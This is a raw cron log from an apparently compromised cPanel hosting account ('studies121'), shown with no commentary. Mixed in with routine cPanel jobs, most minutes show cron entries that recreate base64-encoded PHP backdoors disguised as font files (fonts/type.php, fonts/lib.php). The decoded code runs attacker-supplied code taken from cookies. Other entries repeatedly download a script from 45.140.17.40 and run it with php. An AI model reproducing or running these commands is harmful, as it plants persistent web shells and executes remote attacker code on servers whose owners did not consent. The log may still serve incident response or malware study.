Sep 20 13:07:01 ip-184-168-122-23 CROND[4511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:07:01 ip-184-168-122-23 CROND[4513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:07:01 ip-184-168-122-23 CROND[4514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:08:02 ip-184-168-122-23 CROND[4791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:08:02 ip-184-168-122-23 CROND[4792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:08:02 ip-184-168-122-23 CROND[4796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:08:02 ip-184-168-122-23 CROND[4798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:08:02 ip-184-168-122-23 CROND[4797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:09:01 ip-184-168-122-23 CROND[5138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:09:01 ip-184-168-122-23 CROND[5140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:09:01 ip-184-168-122-23 CROND[5141]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 13:09:01 ip-184-168-122-23 CROND[5142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:09:01 ip-184-168-122-23 CROND[5139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:10:01 ip-184-168-122-23 CROND[5399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:10:01 ip-184-168-122-23 CROND[5402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:10:01 ip-184-168-122-23 CROND[5403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:10:01 ip-184-168-122-23 CROND[5405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:10:01 ip-184-168-122-23 CROND[5406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:10:01 ip-184-168-122-23 CROND[5407]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:10:01 ip-184-168-122-23 CROND[5408]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 13:10:02 ip-184-168-122-23 CROND[5415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:11:01 ip-184-168-122-23 CROND[5656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:11:01 ip-184-168-122-23 CROND[5658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:11:01 ip-184-168-122-23 CROND[5661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:11:01 ip-184-168-122-23 CROND[5659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:12:01 ip-184-168-122-23 CROND[5936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:12:01 ip-184-168-122-23 CROND[5938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:12:01 ip-184-168-122-23 CROND[5939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:12:01 ip-184-168-122-23 CROND[5941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:12:01 ip-184-168-122-23 CROND[5940]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:13:01 ip-184-168-122-23 CROND[6192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:13:01 ip-184-168-122-23 CROND[6194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:13:01 ip-184-168-122-23 CROND[6196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:13:01 ip-184-168-122-23 CROND[6198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:14:01 ip-184-168-122-23 CROND[6474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:14:01 ip-184-168-122-23 CROND[6477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:14:01 ip-184-168-122-23 CROND[6478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:14:01 ip-184-168-122-23 CROND[6480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:14:01 ip-184-168-122-23 CROND[6484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:15:01 ip-184-168-122-23 CROND[6819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:15:01 ip-184-168-122-23 CROND[6823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:15:01 ip-184-168-122-23 CROND[6821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:15:01 ip-184-168-122-23 CROND[6825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:15:01 ip-184-168-122-23 CROND[6826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:15:01 ip-184-168-122-23 CROND[6824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:16:02 ip-184-168-122-23 CROND[7113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:16:02 ip-184-168-122-23 CROND[7117]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:16:02 ip-184-168-122-23 CROND[7118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:16:02 ip-184-168-122-23 CROND[7120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:16:02 ip-184-168-122-23 CROND[7119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:16:02 ip-184-168-122-23 CROND[7121]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 13:17:01 ip-184-168-122-23 CROND[7376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:17:01 ip-184-168-122-23 CROND[7378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:17:01 ip-184-168-122-23 CROND[7379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:17:01 ip-184-168-122-23 CROND[7380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:18:01 ip-184-168-122-23 CROND[7613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:18:01 ip-184-168-122-23 CROND[7615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:18:01 ip-184-168-122-23 CROND[7616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:18:01 ip-184-168-122-23 CROND[7614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:18:01 ip-184-168-122-23 CROND[7617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:19:01 ip-184-168-122-23 CROND[7885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:19:01 ip-184-168-122-23 CROND[7888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:19:01 ip-184-168-122-23 CROND[7891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
